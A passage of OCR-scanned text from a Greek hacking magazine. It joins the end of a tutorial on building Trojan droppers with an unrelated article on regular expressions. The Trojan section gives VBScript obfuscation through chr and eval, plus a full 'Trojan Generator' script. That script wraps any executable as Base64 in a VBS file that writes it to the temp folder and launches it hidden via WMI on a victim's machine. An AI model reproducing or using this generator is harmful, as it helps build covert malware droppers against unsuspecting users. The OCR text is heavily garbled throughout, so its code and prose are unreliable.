(ei και θα εκτελεστεἰ στο box του θύματος. Μην ανησυχείτε που δεν φαίνεται 
πουθενὰ noc καταλήξαμε с’ αυτή την μορφή. Θα µας τη δώσει ο γεννήτορας 
που θα περιγράψουμε στη συνέχεια. 


ο Τα προγράµµατα VB δεν εἶναι υποχρεωτικὀ να γράφονται τόσο αναλυτικἀ, ὁπως 
εἶναι γραμμένο το δικὀ µας. Πα την ακρίβεια, υπάρχει το περίφημο semicolon 
(9 nou σε αφήνει να γράφεις ἑνα ολόκληρο πρόγραμμα σε µια μόνο γραµµή, 
χωρίζοντας τις εντολὲς µε τον συγκεκριµένο χαρακτήρα! 


ο Ὀλο το πρὀγραµµα θα μπορούσε να εἶναι σε encrypted µορφή και va εκτελού- 
утау μέσα апо µια eval function. Πα να έχετε µια ιδέα του пос δείχνει η κρυ- 
πτογράφηση σε va VB Script, παρατηρήστε τις ακριβώς ισοδύναμες εντολὲς 
µε αυτή: ret = theProcess.Create(outFile, null, procAttrs, procID) 


5 = chr(CLng("&h" ἃ "74")) ἃ chr(CLng("&h" ἃ "68")) ἃ chr(CLng("&h" ἃ "65")) 
& chr(CLng("&h" ἃ "50")) ἃ chr(CLng("&h" ἃ "72")) ἃ chr(CLng("&h" ἃ "6f")) 
& chr(CLng("&h" ἃ "63")) ἃ chr(CLng("&h" ἃ "65")) ἃ chr(CLng("&h" ἃ "73")) 
& chr(CLng("&h" ἃ "73")) ἃ chr(CLng("&h" ἃ "2е")) ἃ chr(CLng("&h" ἃ "43")) 
& chr(CLng("&h" ἃ "72")) ἃ chr(CLng("&h" ἃ "65")) ἃ chr(CLng("&h" ἃ "61")) 
& chr(CLng("&h" ἃ "74")) ἃ chr(CLng("&h" ἃ "65")) ἃ chr(CLng("&h" ἃ "28")) 
& chr(CLng("&h" ἃ "6Ε")) ἃ chr(CLng("&h" ἃ "75")) ἃ chr(CLng("&h" ἃ "74")) 
& chr(CLng("&h" ἃ "46")) ἃ chr(CLng("&h" & "69")) & chr(CLng("&h" ἃ "6c")) 
& chr(CLng("&h" ἃ "65")) ἃ chr(CLng("&h" ἃ "2с")) ἃ chr(CLng("&h" ἃ "20")) 
& chr(CLng("&h" & "6e")) & chr(CLng("&h" & "75")) & chr(CLng("&h" & "6c")) 
& chr(CLng("&h" ἃ "6c")) ἃ chr(CLng("&h" ἃ "2c")) ἃ chr(CLng("&h" ἃ "20")) 
& chr(CLng("&h" ἃ "70")) ἃ chr(CLng("&h" ἃ "72")) ἃ chr(CLng("&h" ἃ "6f")) 
& chr(CLng("&h" ἃ "63")) ἃ chr(CLng("&h" ἃ "41")) ἃ chr(CLng("&h" ἃ "74")) 
& chr(CLng("&h" ἃ "74")) ἃ chr(CLng("&h" & "72")) ἃ chr(CLng("&h" ἃ "73")) 
& chr(CLng("&h" ἃ "2с")) ἃ chr(CLng("&h" ἃ "20")) ἃ chr(CLng("&h" ἃ "70")) ἃ 


chr(CLng("&h" & '72")) & chr(CLng('&h" & "6f")) & chr(CLng("&h" ἃ "63")) ἃ 
chr(CLng("&h" & "49")) ἃ chr(CLng("&h" ἃ "44")) ἃ chr(CLng('&h" ἃ "29"))'s = 
chr(CLng("&h" & "61")) & chr(CLng('&h" ἃ '28")) & chr(CLng('&h" & "29")) 


eval(s) 


Όλα ra παραπάνω θα ἑκαναν πιο δύσκολη την ανάγνωση του προγράµµατος апо 
τρίτους, ἰσως κι апо ra anti-malware (ανάλογα, βέβαια, µε τον τρόπο που ἐχουν 
αποθηκεύσει τις υπογραφές). 


О γεννήτορας 


Ἦρθε η opa να φτιάξουμε rov Trojan Generator ἡ καλύτερα rov Transporter 
Generator. Αυτό το οποίο κάνει το πρὀγραμμα εἶναι va δέχεται апо rov χρήστη 
TO буора ενὸς εκτελέἐσιµου και να δημιουργεἰ ἑναν μεταφορέα µε το συγκεκριμένο 
εκτελέἐσιμο, TO οποἰο θα κάνει ακριβώς αυτά nou περιγράφηκαν στην προηγούμενη 
παράγραφο. О κὠδικάς εἶναι ο παρακάτω: 
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' Creator of a VBScript that will transfer a given executable. 


' Call via cmd: 


' C:» TransporterGenerator.vbs «executable» 


' - Reads an executable file from arg into byte array 
' - Encodes byte array to Base64 String 


' - Writes Base64 array to a special VBS named b64 «INPUT FILENAME».vbs 
(the transporter script). 


' - The b64 «INPUT FILENAME».vbs when it runs it will re-create the 
executable to the disk. 


П 


' (c) by Thiseas 26/05/2013 
' Original source code idea from: 


' http://ghads.wordpress.com/2008/10/17/vbscript-readwrite-binary- 
encodedecode-base64/ 


Option Explicit 
' common consts 


Const TypeBinary - 1 


Const ForReading - 1, ForWriting - 2, ForAppending - 8 
Dim arguments, inFile, vbsOutFile 

Set arguments - WScript.Arguments 

inFile = arguments(0) 

vbsOutFile - "b64 " & inFile & ".vbs" 

Dim inByteArray, base64Encoded 

inByteArray - readBytes(inFile) 

base64Encoded = encodeBase64(inByteArray) 

' write base64 file to disk 

Dim fso,MyBase64File 

Set fso = CreateObject('Scripting.FileSystemObject") 
Set MyBase64File = fso.OpenTextFile(vbsOutFile, ForWriting, True, Ө) 


MyBase64File.WriteLine "Set wmiServer = GetObject('"winmgmts:[impersonat 
ionLevel-impersonatej! \\. NrootNcimv2") " 
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MyBase64File.WriteLine "Const TypeBinary = 1" 
MyBase64File.WriteLine "Const Hidden = 12, ForWriting = 2" 
MyBase64File.WriteLine "Dim outFile" 


MyBase64File.WriteLine "set fsys = CreateObject("Scripting. 
FileSystemObject")" 


MyBase64File.WriteLine "tmp - fsys.GetSpecialFolder(2)" 
MyBase64File.WriteLine "outFile = tmp ἃ "AXnew exe.exe"" 
MyBase64File.WriteLine "Dim base64Encoded, base64Decoded, outByteArray" 


MyBase64File.WriteLine "base64Encoded = "" ἃ Replace(base64Encoded, 
vblf, 25) & mr 


MyBase64File.WriteLine "base64Decoded = decodeBase64(base64Encoded)" 
MyBase64File.WriteLine "writeBytes outFile, base64Decoded" 


MyBase64File.WriteLine "Set startupProc = wmiServer.Get("Win32 
ProcessStartup") " 


MyBase64File.WriteLline "Set procAttrs = startupProc.SpawnInstance " 
MyBase64File.WriteLine "procAttrs.ShowWindow = Hidden " 


MyBase64File.WriteLine "Set theProcess = GetObject('"winmgmts:rootN 
cimv2:Win32 Process") " 


MyBase64File.WriteLline "ret = theProcess.Create(outFile, null, 
procAttrs, procID)" 


MyBase64File.WriteLline "private function decodeBase64(base64)" 
MyBase64File.WriteLine " dim DM, EL" 

MyBase64File.WriteLine " Set DM = CreateObject("Microsoft.XMLDOM") " 
MyBase64File.WriteLine " Set EL = DM.createElement("tmp") " 
MyBase6e4File.WriteLine " EL.DataType = "bin.base64"" 
MyBasee4File.WriteLine " ' Set encoded String, get bytes" 
MyBase6e4File.WriteLine " EL.Text = base64" 
MyBasee4File.WriteLine " decodeBase64 = EL.NodeTypedValue" 
MyBasee4File.WriteLine "end function" 

MyBase64File.WriteLine "private Sub writeBytes(file, bytes)" 
MyBasee4File.WriteLine " Dim binaryStream" 


MyBase64File.WriteLine " Set binaryStream = CreateObject("ADODB. 
Stream")" 


MyBasee4File.WriteLine " binaryStream.Type = TypeBinary" 
MyBase6e4File.WriteLine " binaryStream.Open" 
MyBase6e4File.WriteLine " binaryStream.Write bytes" 


MyBase64File.WriteLine " binaryStream.SaveToFile file, ForWriting" 
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MyBase64File.WriteLine "End Sub" 
MyBase64File.Close 
Wscript.echo "Finished. Merci!" 
private function readBytes(file) 
dim inStream 
' ADODB stream object used 
set inStream = WScript.CreateObject("ADODB.Stream") 
' open with no arguments makes the stream an empty container 
inStream.Open 
inStream.type- TypeBinary 
inStream.LoadFromFile(file) 
readBytes - inStream.Read() 
end function 
private function encodeBase64(bytes) 
dim DM, EL 
Set DM = CreateObject("Microsoft.XMLDOM") 
' Create temporary node with Base64 data type 
Set EL = DM.createElement ("tmp") 
EL.DataType = "bin.baseo64" 
' Set bytes, get encoded String 
EL.NodeTypedValue - bytes 
encodeBase64 - EL.Text 


end function 


Δεν θα αναλωθούμε σε περιγραφἠ του κὠδικα γραμμὴ προς γραμμή. Σε κάθε nepi- 
πτωση, óuoc, σας προτείνουμε να διαβάσετε оло τον κὠδικα. Πα όσους δεν ξέρουν 
поло кала VB Script θα εἶναι кало να τον διαβάσουν µε πολλὴ προσοχή, αφού nà- 
ντα ωφελεί να διαβάζεις κὠδικα και να προσπαθείς va τον καταλάβεις μόνος σου. 
Πιστέψτε µας, εἶναι ша апо τις λίγες, καλές μεθόδους yia να μάθετε σωστά npo- 
γραμματισμὀ. 


Θέλουμε να δοκιμάσουμε τον γεννἠτορὰ µας σε ёха μεγάλο εκτελἐσιμο. Επιλέγουµε 
τον Windows Explorer, ο οποίος βρίσκεται στο c:WindowsVexplorer.exe. Μπορείτε 
να αντιγράψετε το εκτελέσιμο σε ἐναν ἄλλον κατάλογο και va παἰξετε μαζὶ του µε 
ασφάλεια. Εἶδαμε ότι το πρὀγραμμὰ µας δούλεψε ἀψογα και δημιούργησε vav pE- 
ταφορέα yia το παραπάνω αρχείο, то οποίο, σημειωτέον, εἶναι κοντά στα 2,7MB (βλ. 
εικόνα 2). 


Αμέσως μετὰ θα πρέπει να δούμε στον δίσκο µας τον μεταφορέα yia ro explorer.exe, 
ο οποίος εἶναι 3,7MB. Αυτός εἶναι και то Trojan το οποίο και πρέπει να τρέξει στον 
δίσκο του θύματος. Εµμεἰς πάντως ro τρἐξαµε χωρίς κανένα απολύτως πρόβλημα. Н 
VBS κατάπιε τα MBs χαλαρὰ και αδιαμαρτύρητα! 
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CAWindowsYsystem32Xcmd.exe 


?TIransporterGenrator.ubs explorer.exe 


> 


X 


Windows Script H.. 


Finished. Merci! 


OK 


a 


Εικόνα 2 
О y&vvrjropác µας μόλις ἐφτιαξε éva μεταφορέα για 
τον Windows Explorer. Μας ευχαριστεί, γαλλιστ!! 


Συμπεράσματα 


Έχουμε δείξει μέχρι στιγµἠς та βασικἀ χαρακτηριστικἀ που πρέπει να ἐχει η core 
μηχανὴ ενὸς Trojan. Δεν ασχοληθήκαμε οὐτε µε τα λεγόμενα payloads (δηλαδή, µε 
TO τι κάνει το μέρος του κακὀβουλου προγράμματος orav τρέξει), οὐτε µε τον τρόπο 
που θα «χώσουμε» auró το Trojan στο ΡΟ θύματος. Ασχοληθήκαµε µε αυτὸν καθ’ 
αυτὸν τον Δούρειο Ίππο παρουσιάζοντας ἑναν τρὀπο δημιουργίας του. Μάλιστα, 
φτιάξαμε και µια γεννήτρια Δούρειων Ἱππων. 


Ὅπως ἐχετε καταλάβει, μόλις που έχουμε αγγἱξει την κορυφή του παγὀβουνου. Te- 
ράστιο ενδιαφἐρον παρουσιάζει και η µελέτη του κὠδικα κάποιων Trojans που ἄφη- 
σαν εποχἠ, καθώς και κάποιων που κυκλοφορούν στο darknet. Σας διαβεβαιώνου- 
µε ότι η µελέτη malware αποτελεἰ ша εξαιρετικἀ ενδιαφἐρουσα εργασία, ενώ για 
κάποιους τυχερούς εἶναι κι επάγγελμα! Πραγματικά, ἐχετε να μάθετε пара πολλά 
διαβάζοντας τον κὠδικα апо ἄλλους προγραμματιστἑς/Πᾶςκεγς και, ειλικρινά, συχνά 
ότι διαβάζετε συχνὰ θα εἶναι «xàppa οφθαλμών» ἡ καλύτερα «brain wash»! Αν µη 
τι ἄλλο, παρατηρώντας τεχνικὲς επίθεσης nou ἴσως δεν εἶχατε σκεφτεί, σίγουρα θα 
μαθαίνετε va προστατεύεστε καλύτερα ἡ τουλάχιστον να εἶστε υποψιασμένοι. Δεν 
χρειάζεται επίσης να πούμε ὁτι, μαθαίνοντας και παϊζοντας µε τέτοιες τεχνικὲς, ano- 
κτάμε εφόδια που δεν θα πάνε χαμένα στην αγορά εργασίας. 


Αλήθεια, τι θα λέγατε να δοκιμάζαμε µια βουτιά σε µια θάλασσα τἐτοιου κὠδικα; 
Μείνετε συντονισμένοι ;) 
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Η ηλεκτρονική ΕΚδΟΟσΗ του deltaHacker δεν 


έχει καμία σχέση µε Олі έχετε δει ως τώρα. 


Είναι portable KAI searchable — 


Επιτρέπει την κι ανΤΥΡΩΦΗ κειµένου, αλλά και 
την EKTUNWON. 


Είναι м ds nore es Και δείχνει τέλεια παντού: 
oro tablet, στο smartphone και φυσικά στον υπολογιστή. 


А! n ηλεκτρονική £KOOOT,) του deltaHacker 


δεν έχει τεχνητούς περιορισμούς και 
δεν τιμωρεί τον κἀτοχό της, 


Στηρίξτε τη δουλειά µας κι επιτρέψτε µας να τη 
συνεχίσουμε, 


Αποκτήστε τώρα µία апо τις ηλεκτρονικές 
συνδρομές στο Περιοδικό deltaHacker. 
Κι εσείς. 


http://deltahacker.gr/pdf12order 


bu Spir@ûlEvolution 


Οι πανίσχυρες κανονικὲς εκφρᾶσεις [μέρος 2] 


Με τις γνώσεις που αποκτήσαµε στο προηγούμενο ápO0po, στο 
deltaHacker 021, μπορούμε ropa να περιγράψουμε σχεδὸν οτιδήποτε. 
Ὅμως για éva μεγάλο μέρος απ’ αυτὀ το «οτιδήποτε» θα πρέπει va ou- 
ντάξουμε τεράστιες εκφράσεις. Σ’ αυτό το άρθρο θα μελετήσουμε Opi- 
σμένες ὀψεις των regular expressions οι οποῖες επιτρέπουν τη σύνταξη 


(ακόμα) πιο αφηρημένων εκφράσεων. Με τη βοήθειά τους θα μπορούμε 
va περιγράφουµε πιο σύνθετα strings, µε συντομότερες εκφράσεις! 


Πι πανίσχωρες κανονικές εκφράσει ος 2] 
| 


Στο προηγούμενο τεύχος μιλήσαμε για τη φύση και την αποστολἠ TOV κανονικῶν 
εκφράσεων. Επιπρόσθετα, τονίσαμε бт! υπάρχουν πολλὲς διάλεκτοι µε αρκετὲς δια- 
Φορές, τόσο στη σύνταξη боо και στην εκφραστικἠ δύναμη. Ακολούθως, αφού ξε- 
καθαρἰσαµε µε ποιες διαλέκτους θα ασχοληθούμε και γιατί, ξεκινήσαμε τη γνωριμία 
µε τα συντακτικἁ σχήματα που συγκροτούν µια κανονικἠ ἐκφραση. Αναφερθήκαμε 
συγκεκριµένα στις κλάσεις χαρακτήρων, στις ανεστραμμένες (συμπληρωματικές) 
κλάσεις, στο λεγόμενο escaping, στον χαρακτήρα μπαλαντὲρ και στους χαρακτήρες 
που περιγράφουν μία ἡ περισσότερες επαναλήψεις. Τελειώνοντας το προηγούμενο 
άρθρο, ενδέχεται va νιώσατε бт! εἶστε ἐτοιμοι va ξεθάψετε οτιδήποτε κι апо onou- 
δήποτε — арке! να σχηµατίσετε την κατάλληλη κανονικἠ ἐκφραση. Н αλήθεια εἶναι 
ότι αυτὀ δεν απἐχει апо την πραγματικότητα! Ωστόσο, το οπλοστάσιο των κανονι- 
Kov εκφράσεων περιλαμβάνει αρκετὲς ακόμα δυνατότητες, οι οποίες μπορούν να 
απλοποιήσουν την αναζήτηση πολύπλοκων strings σε µεγάλο βαθμὀ. Σε αυτὀ то 
ἀρθρο θα γνωρίσουμε ορισμένες апо αυτές τις δυνατότητες. 


Σημεία αναφοράς 


Οι ειδικοἰ χαρακτήρες που έχουμε μελετήσει μέχρι στιγμής περιγράφουν γράμματα, 
σύμβολα και αριθμητικά ψηφία — ёха ἡ περισσότερα, γνωστού ἡ αγνώστου пАй- 
θους. Тора θα μιλήσουμε για μερικούς ειδικοὺς χαρακτήρες οι οποίοι προσδιορἰ- 
ζουν τη θέση, χωρίς να περιγράφουν το περιεχόμενο! Αναφερόμαστε στα λεγόμενα 
anchors. 


Σε αυτή την karnyopia ανήκουν δύο χαρακτήρες που συμβολίζουν την арх και то 
τέλος *oAÓkAnpou* του string που δίνουμε στη μηχανή κανονικών εκφράσεων. Εδὠ 
όμως πρέπει να ξεκαθαρἰσουµε κάτι: Н μηχανή του grep "διασπά" το εκάστοτε string 
σε γραμμὲς κι επεξεργάζεται την καθεμία ξεχωριστὰ. Ως εκ τούτου, στην περίπτωση 
TOU grep οι εν λόγω χαρακτήρες συμβολίζουν την αρχἠ και το τέλος κάθε үрар- 
µής. Λεπτομέρεια, θα σκεφτείτε, αλλά κάτι τέτοιες λεπτομέρειες μπορούν εὐκολα να 
προκαλέσουν πονοκἐφαλο. Στην κατηγορία rov anchors ανήκει κι ἑνας χαρακτήρας 
που αναφέρεται στην αρχἠ και στο τέλος των λέξεων. Ας τους εξετάσουμε λίγο πιο 
αναλυτικἀ. 


e Αρχἠ string. Μελετώντας τις κλάσεις συναντήσαμε και TOV ειδικὀ xapa- 
κτἠρα caret (^). О συγκεκριμένος χαρακτήρας αποκτά ειδικἠ ερμηνεία 
όταν χρησιμοποιείται ακριβώς µετά την αριστερή αγκύλη κι αυτό που πε- 
τυχαίνει εἶναι va "αντιστρέψει" το περιεχόµενο της εκάστοτε κλάσης (ορίζει 
το συμπλήρωμα της). О ἰδιος χαρακτήρας, όταν χρησιμοποιείται £&o апо 
τις αγκύλες µιας κλάσης αναφἑρεται στην αρχἡ του string που δίνουμε στη 
μηχανή κανονικῶν εκφράσεων. Ας δούµε ἑνα παράδειγµα: 


$ grep --color-auto "This" test.txt 
This is a test. This is a test. This is a test... 


Н κανονικἠ έκφραση του παραδεἰγµατος περιγράφει τη λέξη "This", η onoia 
όμως βρίσκεται στην αρχἡ rou string. Οι υπόλοιπες εμφανίσεις της λέξης 
αγνοούνται! Δείτε тора κι auTO: 


$ grep --color-auto "This ^is" test.txt 
grep 


Н συγκεκριμένη αναζήτηση µε ro grep δεν επιστρέφει τίποτα. Ποτέ! Μελε- 
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e Τέλος string. To τέλος του εκάστοτε string συμβολίζεται µε rov χαρακτἠ- 
pa του δολαρίου ($). Με την ἰδια λογική nou то caret ἐχει νόημα µόνο στο 
ξεκίνημα µιας ἐκφρασης, ο χαρακτήρας του δολαρίου ἐχει νόηµα µόνο στο 
τέλος της. О συνδυασμὀς των δύο χαρακτήρων αποκτά ιδιαίτερη αξία στα 
λεγόμενα sanity checks. Έστω бт! θέλουμε va τσεκάρουµε av ο χρήστης 
εισήγαγε σε κἄποια φόρμα vav αριθµὀ. Εξετάστε το ακόλουθο npoypau- 
ратӣкі: 


$user input = "jim49"; 

$regex = "/[0-9]+/"; 

if (preg match($regex, $user input) == 1) 
echo "acceptable input"; 

else 
echo "unacceptable input"; 


To πρόγραμμα εἶναι γραμμένο σε PHP. Н συνάρτηση preg. match! ελέγχει 
αν το string που περιἐχει η μεταβλητή $user. input περιλαμβάνει ro string 
που περιγράφει η κανονικἠ ἐκφραση, η οποία περιέχεται στη μεταβλητή 
$regex. Н κανονικἠ ἐκφραση που χρησιμοποιείται στο πρὀγραμμα εἶναι η 
"[0-9]+" και περιγράφει µια αλληλουχία αριθµητικὠν ψηφίων που nepi- 
λαμβάνει τουλάχιστον va ψηφίο. Παρατηρήστε тора και το περιεχόμε- 
νο της user. input. Αν εκτελεστεἰ το πρὀγραμμα, το αποτέλεσµα θα εἶναι 
"acceptable input". Δηλαδή, το πρὀγραμμἁ µας θα ἐχει αποτύχει! Πα να λει- 
τουργήσει όπως επιθυμούμε και να ελἐγξει το αν ο χρήστης εισήγαγε µόνο 
κάποιον αριθµὀ, θα ἐπρεπε va επιστρατεύσουµε και τους χαρακτήρες caret 
και dollar. Н μεταβλητή $regex θα ἐπρεπε να οριστεἰ ως EENG: 


$regex = "/^[0-9]4$/"; 


Н παραπάνω κανονικἠ ἑκφραση περιγράφει éva string το οποίο περιλαμ- 
βάνει τουλάχιστον ἑνα αριθµητικὀ ψηφίο και, επιπρὀσθετα, ξεκινά και TE- 
λειώνει µε κἄποιο ψηφίο! Με ἆλλα λόγια, περιγράφει va string το οποίο 
περιλαμβάνει τουλάχιστον va αριθµητικὀ ψηφίο και τίποτα алло εκτὸς 
апо ψηφία. 


1. То ὀνομά της προκύπτει апо το «PCRE regular expression match». Το PCRE αποτελεί µια υλοποίηση ανοιχτού κὠδικα της μηχανής 
κανονικών εκφράσεων της PERL. 


2. О χαρακτήρας «/» τοποθετείται στην αρχἠ και στο τέλος της έκφρασης κατ’ απαίτηση της γλὠσσας. О! εμφανίσεις του δεν αποτε- 
λούν τµήµα της κανονικἠς ἐκφρασης. 
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€ Όρια λέξης. Οι ειδικοἰ χαρακτήρες nou εἶδαμε παραπάνω αναφέρονται 
στα акра του опо εξέταση string. Ωστόσο, υπάρχει κι ἑνας χαρακτήρας 
που αναφέρεται στα акра οποιασδήποτε λέξης περιλαμβάνεται ото string 
που εξετάζουμε. Αναφερὀόµαστε στον ειδικὀ χαρακτήρα "b", ο οποίος oup- 
βολίζει τη θέση ανάμεσα σε ἑναν χαρακτήρα λέξης και σε &vav χαρακτήρα 
που δεν μπορεἰ να ανήκει σε λέξη. Па τις περισσότερες μηχανές κανονικῶν 
εκφράσεων, οι χαρακτήρες που μπορούν ανήκουν σε λέξη εἶναι όλα τα 
γράμματα, όλα τα αριθµητικἀ ψηφία και το underscore (_). Ας υποθέσουμε 
ότι αναζητάμε ὁλες τις εμφανίσεις της μεταβλητής "sample", μέσα στον 
κὠδικα ενὸς προγράμματος. Παρακάτω φαίνεται ο σωστὸς τρόπος yia va 
πετύχουμε κάτι τέτοιο: 


$ grep --color-auto "\bsample\b" synth.c 
sample = phase.bytes[1]; 


if (sample « 128) (sample - sample * 2;) 

sample - ((volume * sample) »» 8); 

OCR2A - ((amp envelope.bytes[1] * sample) »» 8); 
Χρησιμοποιώντας ro "b", το grep αναζήτησε μόνο τη *Aé&n* sample κι 
αγνόησε κάθε μεγαλύτερη λέξη, η οποία ενδέχεται να περιλαμβάνει то 
"sample". Па va κατανοήσετε τη διαφορὰ, δείτε τι θα επέστρεφε το grep 
Χωρίς τη χρήση rou "^b": 

$ grep --color-auto "sample" synth.c 

if (sample cnt -- 0) ( 

if (sample cnt -- 120) ( 

sample - phase.bytes[1]; 

if (sample < 128) (sample = sample * 2;) 

sample - ((volume * sample) »» 8); 

OCR2A - ((amp envelope.bytes[1] * sample) »» 8); 

sample cnte-; 


Αυτἠ τη фора εμφανίστηκαν και οι γραμμὲς nou περιέχουν ro sample cnt 
— кат! διαφορετικὀ апо αυτό που ψάχνουμε! 


EvaAAayr| 


Θυμηθείτε λίγο τις κλάσεις. Με τη βοἠθειἁ τους ορἰζουµε ἑνα σύνολο χαρακτήρων, 
οι οποίοι θα λέγαμε бт! χωρίζονται µε διαζευκτικὀ "А". Н μηχανή kavovikov εκφρἀ- 
σεων δεν προσπαθεἰ να εντοπίσει ὁλους τους χαρακτήρες που απαρτίζουν την κλά- 
ση, αλλά μόνον £vav. E, λοιπὀν, μπορούμε να κάνουμε κάτι παρόμοιο ακόμα και µε 
ολόκληρες εκφράσεις. Πα παράδειγµα, μπορούμε να πούμε στη µηχανἠ κανονικῶν 
εκφράσεων να αναζητήσει τη λέξη "apples" ἡ τη λέξη "oranges": 


$ grep --color-auto "арр1еѕ |огапвеѕ" sometext.txt 


Όπως βλέπετε, για να πετύχουμε αυτό που θέλουμε ҳорісаџє τις εναλλακτικὲς EK- 
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Φράσεις µε το χαρακτήρα της κάθετης μπάρας (pipe). Σε πολλὲς γλὠσσες проүран- 
ματισμού, о ἴδιος χαρακτήρας χρησιμοποιείται µε την ἐννοια του λογικού ОВ. Κάπως 
ἐτσι μπορούμε να τον ερμηνεύουμµε και στις κανονικὲς εκφράσεις, αν κι εδώ η OU- 
γκεκριµένη λειτουργία ονομάζεται alternation. Ας υποθέσουμε тора бт! αναζητάµε 
τις μεταβλητὲς amp rise, amp. decay kai amp. envelope, στον nnyaio κὠδικα ενὸς 
προγράμματος. П’ αυτή την αναζήτηση θα μπορούσαμε va σχηµατίσουµε την ако- 
λουθη ἐκφραση: 


$ grep --color-auto "amp rise|amp decay|amp envelope" synth.c 


Αναρωτιέστε τι µας διδάσκει αυτό το παράδειγµα; Καταρχάς, µε το alternation uno- 
ρούμε να δηλώσουμε παραπάνω апо δύο υπο-εκφράσεις και η μηχανἠ κανονικών 
εκφράσεων θα αναζητήσει οποιαδήποτε апо αυτές. Το συγκεκριµένο παράδειγµα, 
όμως, µας επιτρέπει να δούµε µια ενδιαφἐρουσα χρήση των παρενθέσεων. Н napa- 
πάνω £kopaon θα μπορούσε va απλοποιηθεἰ ως εξής: 


$ grep --color-auto "amp (rise|decay|envelope)" synth.c 


Ὅταν παραθέτουμε απλούς xapakrr|pec σε μία κανονικἠ ἐκφραση, η εκάστοτε µηχα- 
vů συνδέει αυτούς τους χαρακτήρες, σχηματίζει ἑνα ενιαἰο string και то αναζητά σαν 
ενιαία οντότητα. Αυτή η λειτουργία της "προσκόλλησης" των διαδοχικὠν χαρακτή- 
pov ονομάζεται concatenation κι αν σκεφτούμε λίγο αφηρημένα, θα μπορούσαμε va 
τη θεωρήσουμε σαν µια "πράξη" στο χώρο των κανονικών εκφράσεων. Αν θεωρήσου- 
µε και το alternation ως "πράξη", μπορούμε να πούμε Ori TO concatenation επιμερἰζε- 
ται ως προς το alternation, µε τη βοήθεια των παρενθέἐσεων. Δεν ξέρουμε για 'σάς, 
αλλά εμάς αυτή η μαθηματικἠ φύση των κανονικῶν εκφράσεων πολύ µας αρέσει :) 


Ενθουσιώδεις μηχανές 


Τα περισσότερα παραδείγματα που έχουμε εξετάσει μέχρι στιγμὴς βασίζονται στο 
grep. Αυτό δεν ἦταν τυχαίο! Το συγκεκριµένο εργαλείο επιτρέπει τον εὐκολο σχηµα- 
тісро anAov και κατανοητώὠν παραδειγμάτων. Ωστόσο, η µηχανἡ του grep ἐχει Kå- 
ποιες παραπλανητικὲς ιδιαιτερότητες. Όταν ζητάμε апо το grep να πραγματοποιήσει 
µια αναζήτηση, φροντἰζει va εξαντλήσει ro string που του δίνουμε και να εντοπίσει 
ὀλεςτις εμφανίσεις του string που ψάχνουμε. Αυτό δεν ισχύει σε ὀλες τις μηχανὲς. 
Πα την ακρίβεια, οι περισσότερες μηχανές κανονικών εκφράσεων παρουσιάζουν την 
αντίθετη συμπεριφορά και σταματούν αμέσως μόλις εντοπἰσουν µια εμφάνιση TOU 
string που ψάχνουμε. Θα μπορούσε να πει κανεὶς ότι αυτές οι μηχανές ανυπομονούν 
να επιστρέψουν στο χρήστη κάποιο αποτέλεσμα. Στην ορολογία των κανονικών EK- 
φράσεων, αυτἠ η "ενθουσιώδης" συμπεριφορά ονομάζεται eagerness! Αναρωτιέστε 
τι σημασία ¿xouv όλα αυτά; Δείτε το ακὀλουθο πρὀγραμμα: 


$string = "fish, catfish, dogfish, goldfish"; 
$regex - "/cat|catfish/"; 

preg match($regex, $string, $matches); 
echo $matches[0]; 


Το παραπάνω αναζητά rnv ἐκφραση nou περιέχει η uerapAnrr $regex μέσα στο 
περιεχόµενο της uerapAnrn $string και στη συνέχει εμφανίζει το αποτέλεσµα. Н 
μηχανὴ κανονικὠν εκφράσεων που χρησιμοποιείται £00 (PCRE) ἐχει την ἴδια ou- 
μπεριφορά µε εκείνη της Perl. Αυτό σημαίνει ὁτι σταματάει την αναζήτηση αµέσως 
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μόλις εντοπίσει µια εμφάνιση Tou ζητούμενου string. Τι πιστεύετε ότι θα εμφανίσει 
το прбүранна σαν αποτέλεσμα; 


cat 


Δεν ξἐρουμε ті περιμένατε, αλλά το πρὀγραµµα εντόπισε то "cat"! Βλέπετε, η µηχανἠ 
ξεκίνησε την αναζήτηση µε την πρὠτη εναλλακτική (cat). Μόλις εντόπισε TO "cat" 
μέσα στο "catfish", διέκοψε την αναζήτηση, αγνόησε την άλλη εναλλακτικἠ (catfish) 
κι έσπευσε να επιστρέψει στον χρήστη τα αποτελέσµατα της αναζήτησης. Νομίζουμε 
ότι тора µπορείτε va κατανοήσετε καλύτερα τι εννοούμε ὁταν λέμε бт! η συμπερι- 
фора της εἶναι... eager! 


Αυτό το ενθουσιώδες ταμπεραμέντο της μηχανἠς δημιουργεὶ προβλήματα, αλλά 
υπάρχουν (τουλάχιστον) δύο λύσεις. Η πρὠτη προὐποθέτει απὀ µέρους µας να λά- 
βουµε υπόψη τη συμπεριφορά της µηχανἠς και να διατάξουµε διαφορετικά τις ENI- 
λογὲς που χωρίζονται µε ro pipe. Βλέπετε, η μηχανἠ αναζητά τις διάφορες uno- 
εκφράσεις µε τη σειρὰ που τις ἐχουμε παραθέσει. Επομένως, θα μπορούσαμε va 
λύσουμε ro πρὀβλημα ορίζοντας την κανονικἠ ἐκφραση ως εξής: 


$regex = "/catfish | cat/"; 


Тора n μηχανὴ θα αναζητήσει прота ro "catfish" και μόνον αν αποτύχει θα στραφεἰ 
στο μικρότερο (και πιθανότερο να εντοπιστεὶ) "cat". Με αυτή την κανονική έκφραση, 
η αναζήτηση θα επιστρἑψει το καλύτερο δυνατὸ αποτέλεσµα. Н λύση της αναδιά- 
ταξης των επιλογών λειτουργεἰ ἀίψογα, αλλά εἶναι και λίγο μπακαλἰστικη! Хора που 
апат! περισσότερη προσπάθεια апо τον χρήστη, yia τη σωστή ταξινόμηση των 
επιλογών. Μία απλούστερη και πολύ πιο κομψή λύση εἶναι να χρησιμοποιήσουμε τις 
παρενθέσεις ка! το anchor που συμβολίζει ra ópia µιας λέξης: 


$гедех = "/Nb(cat |catfish) Vb/*; 


Με αυτή την ἐκφραση περιγράφουμε µια μεμονωμένη λέξη, η οποία μπορεί va εἶναι 
gite η "cat", εἰτε η "catfish". Н χρήση των "ΑΡ" απαγορεύει στη μηχανὴ να σταματήσει, 
όταν εντοπίσει то "cat" μέσα σε капота ἄλλη λέξη! 


Αναφορές 


Τα στοιχεία που έχουμε γνωρίσει ως тора εἰτε περιγράφουν τους χαρακτήρες του 
ζητούμενου string εἰτε τη θέση τους μέσα σε ἑνα ευρύτερο string (σε αυτό εντὀὸς του 
οποίου πραγματοποιούµε την αναζήτηση). Οι κανονικὲς εκφράσεις, όμως, διαθέτουν 
